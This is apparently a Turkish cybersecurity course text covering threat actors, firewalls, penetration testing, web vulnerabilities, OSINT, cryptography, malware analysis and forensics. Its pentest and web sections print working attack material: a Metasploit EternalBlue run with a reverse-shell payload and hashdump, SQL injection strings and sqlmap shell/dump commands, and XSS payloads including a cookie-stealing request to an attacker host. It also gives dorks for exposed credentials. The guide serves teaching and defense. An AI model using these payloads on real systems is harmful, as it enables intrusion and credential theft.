Siber Güvenliğe Giriş:
Temel Kavramlar ve Terminoloji

Siber güvenlik; bilgi sistemlerini, ağları, programları ve verileri dijital saldırılara, yetkisiz erişimlere ve hasara karşı koruma bilimidir. Bu bölümde alanın temel kavramlarını ve terminolojisini ele alıyoruz.

1.1 Siber Güvenlik Nedir?

Siber güvenlik; donanım, yazılım ve insan unsurlarını kapsayan entegre bir disiplin olarak tanımlanabilir. Salt teknik bir alan olmanın ötesinde; organizasyonel süreçleri, politikaları ve insan davranışını da bünyesinde barındıran çok katmanlı bir yapıdır. Nitekim istatistikler, veri ihlallerinin yaklaşık %82'sinin insan faktörünü içerdiğini ortaya koymaktadır.

Dijitalleşmenin ivme kazandığı günümüzde siber güvenlik; artık yalnızca büyük kurumların ya da devlet kuruluşlarının gündeminde yer alan bir kavram değildir. Küçük ölçekli işletmeler, bireysel kullanıcılar ve hatta kritik altyapı sistemleri de eşit derecede ciddi tehditlerle karşı karşıyadır. IoT (Nesnelerin İnterneti) cihazlarının yaygınlaşması, bulut bilişimin benimsenmesi ve uzaktan çalışma modellerinin kalıcılaşması; saldırı yüzeyini tarihte hiç olmadığı kadar genişletmiştir.

1.2 CIA Üçgeni: Güvenliğin Temel Eksenleri

Siber güvenliğin teorik çerçevesinin temelinde CIA Üçgeni yer almaktadır. Bu üçgen; bilgi güvenliğinin üç temel hedefini sembolize eder:

Bazı modern güvenlik çerçeveleri CIA Üçgeni'ni genişleterek Authenticity (Özgünlük) ve Non-repudiation (İnkâr Edememe) kavramlarını da modele dahil etmektedir. İnkâr edememe; bir tarafın gerçekleştirdiği işlemi sonradan reddetmesini engelleyen kriptografik mekanizmaları kapsar ve özellikle dijital hukuk alanında kritik önem taşır.

1.3 Tehdit, Güvenlik Açığı ve Risk Kavramları

Bu üç kavram; siber güvenlik literatüründe sıklıkla birbirinin yerine kullanılsa da aralarında önemli nüanslar bulunmaktadır:

1.4 Tehdit Aktörleri: Kim, Neden ve Nasıl?

Siber tehdit ortamını anlamak için farklı tehdit aktörü kategorilerini ve motivasyonlarını kavramak şarttır. Her aktör türü; farklı beceri seviyelerine, kaynaklara ve hedeflere sahiptir:

1.4.1 Script Kiddies

Genellikle teknik bilgi düzeyi düşük, hazır araç ve exploit kitleri kullanan amatör saldırganlardır. Hedef seçiminde planlama yerine fırsatçı bir yaklaşım benimserler. Zararlı etkileri çoğunlukla sınırlı olsa da yaygın ve yüksek hacimli saldırılar gerçekleştirebilirler.

1.4.2 Hacktivistler

Siyasi, sosyal veya ideolojik motivasyonlarla hareket eden bu grup; DDoS saldırıları, web sitesi tahribatları (defacement) ve veri sızıntıları gibi yöntemlere başvurur. Anonymous ve LulzSec tarihsel örnekler arasında sayılabilir. Hacktivistlerin yetenekleri grup içindeki bireysel üyelere göre büyük farklılıklar gösterebilir.

1.4.3 Organize Suç Örgütleri

Finansal kazanç odaklı bu gruplar; fidye yazılımı (ransomware), banka dolandırıcılığı, kimlik hırsızlığı ve kara para aklama gibi siber suç faaliyetleri yürütür. REvil, Conti ve LockBit gibi fidye yazılımı grupları bu kategorinin en tanınmış örnekleridir. Hizmet Olarak Fidye Yazılımı (RaaS) modeli bu grupların örgütlenme biçimini köklü biçimde değiştirmiştir.

1.4.4 Devlet Destekli Tehdit Aktörleri (APT Grupları)

Gelişmiş Kalıcı Tehditler (Advanced Persistent Threats — APT); en sofistike ve tehlikeli kategoriyi oluşturur. Devlet finansmanı ve desteğiyle faaliyet gösteren bu gruplar; uzun vadeli hedefler doğrultusunda planlı, sabırlı ve çok aşamalı saldırılar gerçekleştirir. Siber casusluk, kritik altyapı sabotajı ve jeopolitik amaçlı operasyonlar bu grubun temel faaliyet alanlarıdır.

1.5 Saldırı Yüzeyi Yönetimi (Attack Surface Management)

Saldırı yüzeyi; bir sisteme yetkisiz erişim sağlamak amacıyla kullanılabilecek tüm potansiyel giriş noktalarının bütününü ifade eder. Dijital dönüşüm ve bulut adoptasyonu bu yüzeyi dramatik biçimde genişletmiştir. Etkili bir güvenlik programı; saldırı yüzeyinin sürekli keşfedilmesini, envanterinin çıkarılmasını, risk önceliklendirilmesini ve azaltılmasını kapsar.

Ağ Güvenliği:
Protokollerden Savunma Mimarisine

Ağ güvenliği; veri iletim altyapısının yetkisiz erişimlere, saldırılara ve bozulmalara karşı korunmasını kapsayan kapsamlı bir disiplindir. Bu bölümde ağ protokollerinin güvenlik boyutunu, savunma araçlarını ve mimari tasarım prensiplerini inceliyoruz.

2.1 OSI Modeli ve Güvenlik Perspektifi

OSI (Open Systems Interconnection) modeli; ağ iletişimini yedi katmana ayırarak her katmanın bağımsız protokol ve sorumluluklarla tanımlandığı referans bir çerçeve sunar. Güvenlik profesyonelleri açısından bu model; saldırıların hangi katmanda gerçekleştiğini ve savunma mekanizmalarının nereye konuşlandırılması gerektiğini anlamak için vazgeçilmez bir rehberdir.

2.2 Güvenlik Duvarları (Firewall) Mimarisi

Güvenlik duvarları; ağ trafiğini önceden tanımlanmış kurallar bütününe göre izleyen ve filtreleyen ağ güvenliği cihazları ya da yazılımlardır. Paket filtrelemeden başlayan evrimleri; durum bilgili (stateful) inceleme, devre düzeyi geçit (circuit-level gateway) ve uygulama katmanı güvenlik duvarı (next-generation firewall) aşamalarından geçerek günümüzün yapay zekâ destekli platformlarına ulaşmıştır.

2.2.1 Nesil Güvenlik Duvarları (NGFW)

Yeni Nesil Güvenlik Duvarları (NGFW); geleneksel port/protokol filtrelemesinin ötesine geçerek derin paket inceleme (DPI), SSL/TLS incelemesi, uygulama tanımlama, kullanıcı kimliği farkındalığı ve entegre IDS/IPS yeteneklerini tek bir platformda bir araya getirir. Palo Alto Networks, Fortinet FortiGate ve Check Point platformları bu kategorinin önde gelen ürünleridir.

# Gelen trafiği varsayılan olarak reddet
iptables -P INPUT DROP
iptables -P FORWARD DROP

# Giden trafiğe izin ver
iptables -P OUTPUT ACCEPT

# Loopback arayüzüne izin ver
iptables -A INPUT -i lo -j ACCEPT

# Kurulu/ilgili bağlantılara izin ver
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# SSH erişimine yalnızca belirli IP'den izin ver
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.100 -j ACCEPT

# HTTP ve HTTPS trafiğine izin ver
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# SYN flood koruması (rate limiting)
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 4 -j ACCEPT

# Kural setini kaydet
iptables-save > /etc/iptables/rules.v4

2.3 IDS/IPS: İzinsiz Giriş Tespit ve Önleme Sistemleri

Saldırı tespit sistemleri (IDS) ve saldırı önleme sistemleri (IPS); ağ trafiğini ya da sistem davranışını analiz ederek şüpheli veya kötü amaçlı etkinlikleri tespit eden güvenlik araçlarıdır. IDS pasif bir yapıya sahip olup yalnızca uyarı üretirken, IPS saldırıyı aktif olarak engelleme kapasitesine sahiptir.

2.3.1 İmza Tabanlı vs. Anomali Tabanlı Tespit

İmza tabanlı tespit; bilinen saldırı kalıplarının veritabanına dayanan bir yaklaşımdır. Yüksek doğruluk oranı ve düşük yanlış pozitif üretme avantajına sahipken, sıfır gün saldırılarına karşı kör noktası bulunur. Anomali tabanlı tespit ise normal davranışın istatistiksel bir modelini oluşturarak sapmaları tespit eder. Bilinmeyen tehditlere karşı etkili olmakla birlikte, daha yüksek yanlış pozitif oranıyla başa çıkılması gerektirir.

Modern platformlar bu iki yaklaşımı makine öğrenimi ile harmanlayan hibrit bir model benimsemektedir. Snort, Suricata ve Zeek (eski adıyla Bro) açık kaynaklı IDS/IPS çözümleri arasında en yaygın kullanılanlarıdır.

2.4 VPN ve Güvenli Tünel Teknolojileri

Sanal Özel Ağlar (VPN); kamusal ağlar üzerinden şifreli tünel oluşturarak güvenli iletişim sağlayan teknolojidir. Uzaktan çalışma modellerinin yaygınlaşmasıyla VPN kullanımı kurumsal ortamlarda kritik bir altyapı unsuru haline gelmiştir. Ancak VPN'lerin de kendine özgü güvenlik riskleri taşıdığı göz ardı edilmemelidir: Yanlış yapılandırılmış VPN sunucuları, güncellenmemiş VPN yazılımları ve zayıf kimlik doğrulama mekanizmaları, saldırganlar için cazip hedefler oluşturur.

2.4.1 VPN Protokolleri Karşılaştırması

2.5 Ağ Segmentasyonu ve DMZ Mimarisi

Ağ segmentasyonu; bir kurumun ağını daha küçük, izole bölgelere ayırarak saldırganların yanal hareketini (lateral movement) kısıtlayan temel bir savunma stratejisidir. Bir saldırgan bir segmente sızdığında, segmentasyon bu segmentten diğerlerine yayılmasını zorlaştırır ya da önler.

DMZ (Demilitarized Zone); internete açık sunucuların (web, mail, DNS) iç ağdan izole biçimde konuşlandırıldığı bir ara güvenlik bölgesidir. Klasik DMZ mimarisinde iki güvenlik duvarı katmanı arasında konumlanan bu bölge; dışarıdan gelen trafiği iç ağa doğrudan ulaşmadan karşılar.

2.6 Yaygın Ağ Saldırıları ve Savunma Yöntemleri

2.6.1 ARP Zehirlenmesi (ARP Poisoning)

ARP (Address Resolution Protocol) zehirlenmesi; saldırganın ağ üzerindeki ARP önbelleğini tahrip ederek trafiği kendi üzerinden geçirdiği bir Ortadaki Adam (MitM — Man-in-the-Middle) saldırısıdır. Yerel ağ saldırıları arasında en yaygın kullanılanlardan biridir.

# Savunma — Dynamic ARP Inspection (DAI) — Cisco Switch
Switch(config)# ip dhcp snooping
Switch(config)# ip dhcp snooping vlan 10,20
Switch(config)# ip arp inspection vlan 10,20
Switch(config-if)# ip arp inspection trust  # Güvenilir portlarda

2.6.2 DNS Spoofing ve DNSSEC

DNS sahteciliği; DNS çözümleme sürecini manipüle ederek kullanıcıları meşru adresler yerine zararlı sunuculara yönlendiren bir saldırı türüdür. DNSSEC (DNS Security Extensions); dijital imzalar kullanarak DNS yanıtlarının bütünlüğünü ve kaynağını doğrulayan kriptografik bir uzantıdır.

2.6.3 DDoS Saldırıları ve Mitigasyon

Dağıtık Hizmet Reddi (DDoS) saldırıları; hedef sistemi aşırı trafikle bunaltarak meşru kullanıcıların hizmete erişimini engellemeyi amaçlar. Volumetrik saldırılar, protokol saldırıları ve uygulama katmanı (Layer 7) saldırıları olmak üzere üç ana kategoride incelenir. BGP Anycast, trafik scrubbing merkezleri ve Content Delivery Network (CDN) çözümleri DDoS mitigasyonunun temel araçlarıdır.

Sızma Testi (Penetration Testing)
Metodolojisi

Sızma testi; bir sistemin, ağın veya uygulamanın güvenlik zayıflıklarını keşfetmek amacıyla saldırganın bakış açısıyla yapılan yetkili güvenlik değerlendirmesidir. Etik hackerların kullandığı metodoloji ve araçları derinlemesine inceliyoruz.

3.1 Sızma Testi Türleri

Sızma testleri; test kapsamına, bilgi düzeyine ve hedef sisteme göre farklı kategorilere ayrılır:

3.2 Metodoloji Çerçeveleri

3.2.1 PTES (Penetration Testing Execution Standard)

PTES; sızma testinin standardize bir çerçevede yürütülmesi için geliştirilmiş kapsamlı bir metodoloji belgesidir. Yedi aşamadan oluşur:

3.3 Keşif Aşaması: Pasif ve Aktif Teknikler

3.3.1 Pasif Keşif

Pasif keşif; hedef sistemlerle doğrudan etkileşime girmeden kamuya açık kaynaklardan bilgi toplama sürecidir. İz bırakmama özelliği bu aşamanın en önemli avantajıdır.

# WHOIS sorgusu
whois hedef.com

# DNS numaralandırma
nslookup -type=ANY hedef.com
dig ANY hedef.com @8.8.8.8

# Subdomain keşfi — Passive (Amass)
amass enum -passive -d hedef.com

# Shodan CLI ile internet yüzü
shodan search "org:TargetOrg" --fields ip_str,port,org
shodan host 1.2.3.4

# theHarvester ile e-posta ve subdomain
theHarvester -d hedef.com -b google,bing,linkedin,shodan -l 200

3.3.2 Aktif Keşif: Nmap ile Ağ Taraması

Nmap (Network Mapper); ağ keşfi ve güvenlik denetimi için endüstri standardı olan açık kaynaklı bir araçtır. Port tarama, servis sürümü tespiti, işletim sistemi parmak izi ve NSE (Nmap Scripting Engine) scriptleriyle olağanüstü esneklik sunar.

# Temel port tarama
nmap -sV -sC -O hedef.com

# Tam port taraması (tüm 65535 port)
nmap -p- --min-rate 5000 hedef.com

# Stealth SYN taraması
nmap -sS -T2 hedef.com

# UDP tarama (yavaş ama kritik)
nmap -sU -p 53,67,68,123,161,162 hedef.com

# NSE ile güvenlik açığı taraması
nmap --script vuln hedef.com

# Çıktıyı kaydet (tüm formatlar)
nmap -sV -sC -p- -oA tam_tarama hedef.com

# Firewall atlatma teknikleri
nmap -f -D RND:5 hedef.com  # Fragmented paket, decoy
nmap --source-port 53 hedef.com  # Port 53'ten tarama

3.4 Metasploit Framework ile Exploitation

Metasploit Framework; penetrasyon testçilerinin ve güvenlik araştırmacılarının exploit geliştirmek, test etmek ve yürütmek için kullandığı açık kaynaklı bir güvenlik platformudur. 1000'den fazla exploit modülü, 600'den fazla payload ve kapsamlı post-exploitation özellikleriyle dünya genelinde en yaygın kullanılan sızma testi çerçevesidir.

# Metasploit başlatma
msfconsole

# MS17-010 (EternalBlue) — SMB güvenlik açığı örneği
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > exploit

# Meterpreter post-exploitation
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem          # Ayrıcalık yükseltme
meterpreter > hashdump           # Şifre hash'leri
meterpreter > run post/multi/gather/enum_system  # Sistem bilgisi toplama
meterpreter > upload /path/to/tool.exe C:\\Windows\\Temp\\
meterpreter > shell

3.5 Sızma Testi Raporu Yazımı

Teknik yetkinlik ne kadar üstün olursa olsun, bulgular etkili biçimde raporlanmadığında değer üretmez. İyi bir sızma testi raporu; teknik bulguları hem güvenlik uzmanlarına hem de C-suite yöneticilere anlaşılır biçimde aktarabilmelidir.

Rapor Yapısı

1. Yönetici Özeti: Teknik detaydan arındırılmış, iş riski odaklı üst düzey özet
2. Metodoloji: Kullanılan çerçeve, araçlar ve test kapsamı
3. Bulgular Özeti: Risk seviyesine göre gruplandırılmış bulgu matrisi
4. Teknik Bulgular: Her bulgu için açıklama, etki, kanıt ve iyileştirme adımları
5. İyileştirme Yol Haritası: Önceliklendirilmiş aksiyon planı ve sorumluluk matrisi
6. Ekler: Ham tarama çıktıları, exploit kanıtları, referans kaynaklar

Web Uygulama Güvenliği

Web uygulamaları; modern kurumsal altyapının en kritik ve en sık saldırıya uğrayan bileşenlerinden birini oluşturmaktadır. OWASP Top 10'dan başlayarak en yaygın güvenlik açıklarını ve koruma yöntemlerini ele alıyoruz.

4.1 OWASP Top 10 (2021)

OWASP (Open Web Application Security Project) Top 10; web uygulamalarında en kritik güvenlik risklerini tanımlayan ve dünya genelinde referans alınan bir belgedir. 2021 versiyonu şu kategorileri kapsar:

4.2 SQL Injection: Derinlemesine Analiz

SQL Injection; saldırganın uygulama sorgularını manipüle etmek amacıyla kötü amaçlı SQL kodu enjekte ettiği bir güvenlik açığıdır. Veri sızıntısından tam veritabanı kontrolüne kadar uzanan geniş bir etki yelpazesine sahiptir.

4.2.1 SQLi Türleri

• In-band SQLi: Saldırganın aynı kanal üzerinden sonuç alabileceği en yaygın türdür. Error-based ve Union-based alt kategorileri vardır.
• Blind SQLi: Uygulama hata mesajı göstermediğinde kullanılır. Boolean-based ve Time-based olmak üzere ikiye ayrılır. Sorgu sonucunu dolaylı yoldan anlamayı gerektirir.
• Out-of-band SQLi: DNS veya HTTP istekleri aracılığıyla veri sızıntısı yapılan, koşulların çok spesifik olduğu bir türdür.

-- Temel SQLi tespiti
' OR '1'='1
' OR 1=1--
" OR ""="
'; EXEC xp_cmdshell('whoami')--

-- Union-based veri çekme
' UNION SELECT NULL,username,password FROM users--

-- Blind Boolean-based
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

-- Time-based Blind SQLi (MySQL)
' AND SLEEP(5)--
' AND IF(1=1, SLEEP(5), 0)--

-- SQLMap ile otomatik tespit ve sömürü
sqlmap -u "https://hedef.com/page?id=1" --dbs
sqlmap -u "https://hedef.com/page?id=1" -D veritabani -T users --dump
sqlmap -u "https://hedef.com/page?id=1" --os-shell

4.2.2 SQLi Önleme

# Python — Güvenli parameterized query
import sqlite3
conn = sqlite3.connect('db.sqlite')

# YANLIŞ — SQLi açığı var!
query = f"SELECT * FROM users WHERE username='{username}'"

# DOĞRU — Parameterized query
query = "SELECT * FROM users WHERE username = ?"
cursor = conn.execute(query, (username,))

# PHP — PDO ile güvenli sorgu
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute([':username' => $username]);

4.3 Cross-Site Scripting (XSS)

XSS; saldırganın kötü amaçlı JavaScript kodunu hedef web uygulamasına enjekte ettiği ve bu kodun diğer kullanıcıların tarayıcılarında çalıştığı bir saldırı türüdür. Oturum çalma, kimlik avı, tuş kaydedici (keylogger) dağıtımı ve hassas bilgi toplama bu saldırıların olası sonuçları arasındadır.

XSS Türleri ve Payload Örnekleri

<!-- Reflected XSS — URL üzerinden -->
https://hedef.com/search?q=<script>alert(document.cookie)</script>

<!-- Stored XSS — Veritabanına kaydedilen -->
<img src="x" onerror="fetch('https://saldirgan.com/steal?c='+document.cookie)">

<!-- DOM-based XSS -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>

<!-- Filtre atlama payloadları -->
<ScRiPt>alert(1)</ScRiPt>
<svg/onload=alert(1)>
<iframe src="javascript:alert(1)">

<!-- Güvenli çıktı kodlama — Python -->
import html
safe_output = html.escape(user_input)

<!-- Content Security Policy (CSP) header -->
Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}' 'strict-dynamic';

4.4 CSRF, SSRF ve XXE Saldırıları

4.4.1 Cross-Site Request Forgery (CSRF)

CSRF; kimlik doğrulanmış bir kullanıcının farkında olmadan saldırganın istediği işlemleri gerçekleştirmesini sağlayan bir saldırıdır. Anti-CSRF token kullanımı, SameSite cookie politikası ve Double Submit Cookie yöntemi temel koruma mekanizmalarını oluşturur.

4.4.2 Server-Side Request Forgery (SSRF)

SSRF; saldırganın sunucuyu iç ağa ya da harici kaynaklara istek göndermesi için manipüle ettiği kritik bir güvenlik açığıdır. Bulut ortamlarında özellikle tehlikelidir: AWS metadata servisi (169.254.169.254) gibi iç kaynaklar SSRF aracılığıyla erişilebilir hale gelebilir.

OSINT: Açık Kaynak
İstihbarat Teknikleri

OSINT (Open Source Intelligence); kamuya açık kaynaklardan sistematik biçimde bilgi toplanması, analiz edilmesi ve değerlendirilmesidir. Siber güvenlik perspektifinden OSINT; hem saldırı öncesi keşif hem de savunma amaçlı tehdit istihbaratı için kritik bir disiplindir.

5.1 OSINT Döngüsü ve Metodoloji

Profesyonel OSINT çalışması; rastgele bilgi toplama değil, sistematik bir döngü içinde yürütülen yapılandırılmış bir süreçtir. Bu döngü; planlama, toplama, işleme, analiz ve üretim aşamalarından oluşur. Her aşama bir öncekine bilgi beslerken bir sonrakinin zeminini hazırlar.

5.2 Kişi ve Kurum Araştırması

5.2.1 Alan Adı ve IP İstihbaratı

# WHOIS bilgisi
whois hedef.com
whois 1.2.3.4

# DNS keşfi ve zone transfer denemesi
dig axfr hedef.com @ns1.hedef.com
host -t axfr hedef.com ns1.hedef.com

# Subdomain keşfi — Aktif
subfinder -d hedef.com -all -recursive
amass enum -d hedef.com -brute -w /wordlists/subdomains.txt

# DNSdumpster, VirusTotal, Crt.sh pasif kayıtlar
curl "https://crt.sh/?q=%.hedef.com&output=json" | jq '.[].name_value' | sort -u

# Reverse IP — Aynı sunucudaki diğer siteler
python3 -c "import socket; print(socket.getaddrinfo('hedef.com',80))"

5.2.2 Shodan: İnternet'in Arama Motoru

Shodan; internete bağlı cihazları ve açık servisleri indeksleyen özelleşmiş bir arama motorudur. Güvenlik araştırmacıları için güçlü bir OSINT kaynağı olan Shodan; kötü yapılandırılmış cihazları, açık port ve servisleri ve savunmasız sistemleri tespit etmek için kullanılır.

# Shodan CLI aramaları
shodan search "apache" --limit 100
shodan search 'country:"TR" port:3389 RDP'
shodan search 'org:"Turk Telekom" vuln:CVE-2021-44228'

# Shodan Python API
from shodan import Shodan
api = Shodan('API_KEY')

# IP hakkında detay
host = api.host('1.2.3.4')
print(host['org'])
print(host['os'])
for item in host['data']:
    print(f"Port: {item['port']}, Banner: {item['data']}")

# Dork araması
results = api.search('product:Apache country:TR port:80')
for result in results['matches']:
    print(result['ip_str'])

5.2.3 Google Dorks: Gelişmiş Arama Operatörleri

# Hassas dosya tespiti
site:hedef.com filetype:pdf "confidential"
site:hedef.com filetype:xls "password"

# Giriş paneli tespiti
site:hedef.com inurl:admin intitle:"login"
site:hedef.com inurl:"/wp-admin"

# Dizin listeleme
site:hedef.com intitle:"index of"

# Yapılandırma dosyaları
site:hedef.com filetype:env OR filetype:cfg OR filetype:ini
inurl:"/.git/" site:hedef.com

# Açık kameralar
inurl:"view.shtml" intitle:"Network Camera"
intitle:"Webcam 7" inurl:8080

# Exposed credentials
site:github.com "hedef.com" "password" OR "api_key" OR "secret"

5.3 Sosyal Medya OSINT

Sosyal medya platformları; kişisel ve kurumsal bilgilerin en yoğun biçimde paylaşıldığı kaynaklardır. LinkedIn; çalışan isimleri, organizasyon yapısı ve kullanılan teknoloji stack'i hakkında değerli bilgiler sunar. Twitter/X; gerçek zamanlı olaylar, şirket duyuruları ve teknik paylaşımlar açısından zengin bir kaynaktır.

5.3.1 Metadata Analizi

Dijital dosyalara gömülü metadata; fotoğrafın çekildiği cihaz, GPS koordinatları, kullanıcı adı ve yazılım bilgisi gibi hassas veriler içerebilir. ExifTool; fotoğraf, PDF ve ofis belgelerinden metadata çıkarmak için en yaygın kullanılan araçtır.

# ExifTool ile metadata analizi
exiftool fotoğraf.jpg
exiftool -all= fotoğraf.jpg  # Tüm metadata sil

# Toplu analiz
exiftool -r /dizin/*.jpg -csv > metadata_raporu.csv

# GPS koordinatları çıkarma
exiftool -gpslatitude -gpslongitude fotoğraf.jpg

5.4 Dark Web İstihbaratı

Dark web; standart tarayıcılarla erişilemeyen, özel yazılımlar (Tor, I2P) gerektiren gizli ağları kapsar. Siber suç ekosistemi açısından sızdırılmış veri satışları, exploit pazar yerleri ve ransomware C2 altyapıları dark web'de faaliyet gösterir. Güvenlik ekipleri; kurumlarına ait veri sızıntılarını ve tehdit aktörü faaliyetlerini izlemek amacıyla dark web istihbarat servisleri kullanır.

Kriptografi ve
Şifreleme Sistemleri

Kriptografi; bilginin gizliliğini, bütünlüğünü ve özgünlüğünü matematiksel yöntemlerle güvence altına alan bilim dalıdır. Modern siber güvenlik altyapısının temeli kriptografik protokollere dayanır.

6.1 Simetrik Şifreleme

Simetrik şifrelemede; şifreleme ve şifre çözme için aynı anahtar kullanılır. Bu yaklaşım; asimetrik şifrelemeye kıyasla çok daha hızlı olmakla birlikte, güvenli anahtar dağıtımı sorunu temel kısıtlamasını oluşturur.

6.1.1 AES Çalışma Modları

AES; farklı çalışma modlarında kullanılabilir ve bu seçim güvenlik üzerinde kritik etki yapar:

• ECB (Electronic Codebook): Her blok bağımsız şifrelenir. Aynı düz metin her zaman aynı şifreli metni üretir — KULLANMA
• CBC (Cipher Block Chaining): Her blok öncekiyle XOR'lanır. IV gerektirir. Padding oracle saldırısına açık.
• GCM (Galois/Counter Mode): Şifreleme + kimlik doğrulaması birleştirir. TLS 1.3'ün tercih ettiği mod.
• CTR (Counter Mode): Stream cipher gibi çalışır. Paralel şifreleme imkânı.

6.2 Asimetrik Şifreleme ve PKI

Asimetrik şifrelemede matematiksel olarak birbirine bağlı iki anahtar çifti kullanılır: açık anahtar (public key) ve özel anahtar (private key). Açık anahtarla şifrelenen veri yalnızca eşleşen özel anahtarla çözülebilir. Bu yaklaşım; simetrik şifrelemenin anahtar dağıtım sorununu elegantly çözer.

# OpenSSL ile RSA anahtar çifti oluşturma
openssl genrsa -out private.pem 4096
openssl rsa -in private.pem -pubout -out public.pem

# Dosya şifreleme/şifre çözme
openssl rsautl -encrypt -inkey public.pem -pubin -in dosya.txt -out dosya.enc
openssl rsautl -decrypt -inkey private.pem -in dosya.enc -out dosya_cozuldu.txt

# Dijital imza oluşturma ve doğrulama
openssl dgst -sha256 -sign private.pem -out imza.bin mesaj.txt
openssl dgst -sha256 -verify public.pem -signature imza.bin mesaj.txt

# Self-signed SSL sertifikası
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

6.3 Hash Fonksiyonları

Kriptografik hash fonksiyonları; herhangi uzunluktaki bir girdiyi sabit uzunluklu çıktıya (özet/digest) dönüştüren tek yönlü fonksiyonlardır. Veri bütünlüğü doğrulama, parola saklama ve dijital imzalarda temel rol oynarlar.

6.4 TLS/SSL: İletişim Güvenliği

TLS (Transport Layer Security); internet üzerindeki iletişimi şifreleyen ve kimlik doğrulayan kriptografik protokoldür. HTTPS, SMTPS ve FTPS gibi güvenli protokollerin temelini oluşturur. TLS 1.3; önceki versiyonların zayıflıklarını gidererek performansı artıran güncel standarttır.

Zararlı Yazılım (Malware)
Analizi

Zararlı yazılım analizi; kötü amaçlı kodun davranışını, yapısını ve etkisini anlama amacıyla yürütülen sistematik inceleme sürecidir. Bu disiplin; olay müdahalesi, tehdit istihbaratı ve antivirüs imzası geliştirme için vazgeçilmezdir.

7.1 Zararlı Yazılım Kategorileri

7.2 Statik Analiz

Statik analiz; zararlı yazılımı çalıştırmadan kaynak veya derleme kodunu inceleme yöntemidir. Risk açısından güvenli olmakla birlikte; obfuscation (kod karartma) ve packing teknikleriyle engellenebildiğinden sınırlılıkları mevcuttur.

# Dosya türü tespiti
file malware.exe
strings malware.exe | head -100     # İçindeki okunabilir dizeler
strings malware.exe | grep -i "http\|https\|cmd\|powershell"

# PE başlığı analizi (Windows çalıştırılabilir dosyalar)
pe-bear malware.exe   # GUI araç
python3 -c "import pefile; pe=pefile.PE('malware.exe'); pe.print_info()"

# Hash hesaplama (VirusTotal sorgusu için)
md5sum malware.exe
sha256sum malware.exe

# YARA kurallarıyla tarama
yara -r rules/ malware.exe

# Import/Export fonksiyon analizi (dlllistesi)
objdump -p malware.exe | grep DLL

7.3 Dinamik Analiz

Dinamik analiz; zararlı yazılımın kontrollü bir ortamda (sandbox) çalıştırılarak gerçek davranışının gözlemlenmesidir. Ağ iletişimi, dosya sistemi değişiklikleri, registry manipülasyonu ve süreç enjeksiyonu bu analizin kapsamına girer.

# Sandbox araçları
# Cuckoo Sandbox — Açık kaynak, kendi altyapısında
cuckoo submit --timeout 120 malware.exe

# Süreç izleme (Windows — Process Monitor)
# Ağ izleme
tcpdump -i eth0 -w malware_trafik.pcap
wireshark -r malware_trafik.pcap

# API izleme — frida
frida -n explorer.exe --no-pause -l monitor.js

# Sistem çağrıları — Linux
strace -f -o syscalls.log ./malware
ltrace -f ./malware

7.4 Fidye Yazılımı Anatomisi

Fidye yazılımı (ransomware); kurbanın dosyalarını şifreleyerek erişimi engelleyen ve şifre çözme anahtarı karşılığında ödeme talep eden bir zararlı yazılım kategorisidir. Son yıllarda Hizmet Olarak Fidye Yazılımı (RaaS) modelinin yaygınlaşmasıyla bu tehdit dramatik biçimde artmıştır.

Tipik Fidye Yazılımı Saldırı Zinciri

Dijital Adli Bilişim
(Digital Forensics)

Dijital adli bilişim; siber olaylarla ilgili dijital delillerin toplanması, korunması, analiz edilmesi ve mahkemede sunulabilir biçimde belgelenmesi disiplinidir. Olay müdahalesi süreçlerinin ayrılmaz bir parçasını oluşturur.

8.1 Delil Toplama Prensipleri

Delil Zinciri (Chain of Custody); dijital delilin kimler tarafından ne zaman toplandığını, işlendiğini ve korunduğunu belgeleyen kayıt sistemidir. Mahkeme süreçlerinde delilin geçerliliği için bu zincirin bütünlüğü şarttır. Her delil öğesi için: kim topladı, ne zaman, hangi araçla ve hangi hash değeriyle saklandığı belgelenmelidir.

8.2 Bellek (RAM) Adli Analizi

Bellek adli analizi; sistem RAM'ının içeriğini inceleyerek çalışan süreçler, açık ağ bağlantıları, şifreli disk anahtarları ve aktif zararlı yazılım izlerini tespit etmeyi kapsar. Volatility Framework bu alandaki endüstri standardı açık kaynaklı araçtır.

# Bellek görüntüsü alma (FTK Imager veya WinPmem)
winpmem_mini_x64.exe memory.dmp

# Volatility 3 ile analiz
# Profil tespiti
vol3 -f memory.dmp windows.info

# Çalışan süreçler
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.pstree

# Gizlenmiş süreçler (rootkit tespiti)
vol3 -f memory.dmp windows.psscan    # Direkt pool scanning

# Ağ bağlantıları
vol3 -f memory.dmp windows.netstat

# Şüpheli DLL enjeksiyonu
vol3 -f memory.dmp windows.dlllist --pid 1234
vol3 -f memory.dmp windows.malfind   # Çalıştırılabilir bellek bölgeleri

# Registry analizi
vol3 -f memory.dmp windows.registry.printkey

# Credential extraction
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.lsadump

8.3 Disk Adli Analizi

Disk adli analizi; sabit disk, SSD veya USB sürücüden delil toplamayı kapsar. Analiz öncesinde her zaman orijinal medyanın adli kopyası alınmalı ve hash değerleriyle bütünlüğü doğrulanmalıdır. Yazma koruyucu (write blocker) kullanımı zorunludur.

# Adli disk kopyası alma (dd ile)
# Write blocker takıldıktan sonra
dd if=/dev/sdb of=/mnt/delil/disk_kopyasi.dd bs=4096 conv=noerror,sync
sha256sum /dev/sdb > hash_orijinal.txt
sha256sum disk_kopyasi.dd > hash_kopya.txt

# Daha gelişmiş adli kopya — dcfldd
dcfldd if=/dev/sdb of=disk.img hash=md5,sha256 bs=512 hashlog=hash.log

